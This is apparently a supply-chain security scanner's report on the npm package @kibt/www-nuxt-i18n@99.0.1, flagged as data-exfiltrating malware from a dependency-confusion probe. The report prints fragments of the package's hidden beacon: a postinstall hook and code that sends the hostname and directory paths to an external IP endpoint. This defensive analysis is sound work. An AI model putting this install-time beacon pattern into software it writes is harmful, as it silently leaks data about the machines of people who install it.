registry / Data exfiltration / @kibt/www-nuxt-i18n

@kibt/www-nuxt-i18n

Compatibility shim.

This report shows the evidence for @kibt/www-nuxt-i18n@99.0.1. 8 of 10 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 18d ago · by lpm-firewall-ai

Inspected source establishes automatic collection and external transmission of local metadata during installation and import. This concrete data exfiltration supports blocking despite the absence of credential harvesting or remote code execution.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall execution or importing index.js.

Impact

Exposes host identity and local project location to the external recipient.

Mechanism

The beacon collects machine and directory identifiers, serializes them as JSON, and sends an HTTP POST without a consent gate.

Attack narrative

The package activates a metadata beacon through its postinstall hook and again through its main entrypoint. The beacon gathers the hostname, installation directory, and working directory, then transmits them to a fixed external HTTP endpoint. This disclosure occurs automatically without caller configuration or an opt-in gate.

AI rationale

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs beacon.cjs after installation.
beacon.cjs collects the hostname, package installation path, and current working directory without an opt-in gate.
beacon.cjs serializes this metadata and sends it to http://185.158.107.175:8787/_ah/dc.
index.js also invokes the beacon when the package is imported.

Evidence against

The inspected code does not harvest credentials, execute remote payloads, or modify local files.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.28 KB of source, external domains: 185.158.107.175

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files":

High

Ai Review Evidence

package.json automatically runs beacon.cjs after installation.

package.jsonView on unpkg · L7

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@kibt/www-nuxt-i18n"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

28hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(),

High

Ai Review Evidence

beacon.cjs collects the hostname, package installation path, and current working directory without an opt-in gate.

beacon.cjsView on unpkg · L28

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

High

Ai Review Evidence

beacon.cjs serializes this metadata and sends it to http://185.158.107.175:8787/_ah/dc.

beacon.cjsView on unpkg · L4

11var data = Buffer.from(JSON.stringify(payload)); var req = lib.request({ hostname: u.hostname,

High

Ai Review Evidence

beacon.cjs serializes this metadata and sends it to http://185.158.107.175:8787/_ah/dc.

beacon.cjsView on unpkg · L11

21req.write(data); req.end();

High

Ai Review Evidence

beacon.cjs serializes this metadata and sends it to http://185.158.107.175:8787/_ah/dc.

beacon.cjsView on unpkg · L21

36if (require.main === module) { fire().then(function () { process.exitCode = 0; }); } module.ex

High

Ai Review Evidence

package.json automatically runs beacon.cjs after installation.

beacon.cjsView on unpkg · L36

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {}

High

Ai Review Evidence

index.js also invokes the beacon when the package is imported.

index.jsView on unpkg · L4

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files":

High

Ai Review Evidence

package.json automatically runs beacon.cjs after installation.

package.jsonView on unpkg · L7

beacon.cjsView file

Findings

9 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighAi Review Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @kibt/www-nuxt-i18n@99.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing @kibt/www-nuxt-i18n@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-23 02:45:05.094Z (UTC).

Source advisory published: 2026-10-04 23:18:25.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

10 known versions

0.0.1-securitylatestUnknown—AllowUnder ReviewOct 23, 2026, 2:04 AM 0.0.0-stageClean—AllowPublishedOct 23, 2026, 2:03 AM 99.0.1shownMaliciousData ExfiltrationBlockPublishedOct 3, 2026, 11:03 PM 1.0.0MaliciousData ExfiltrationBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages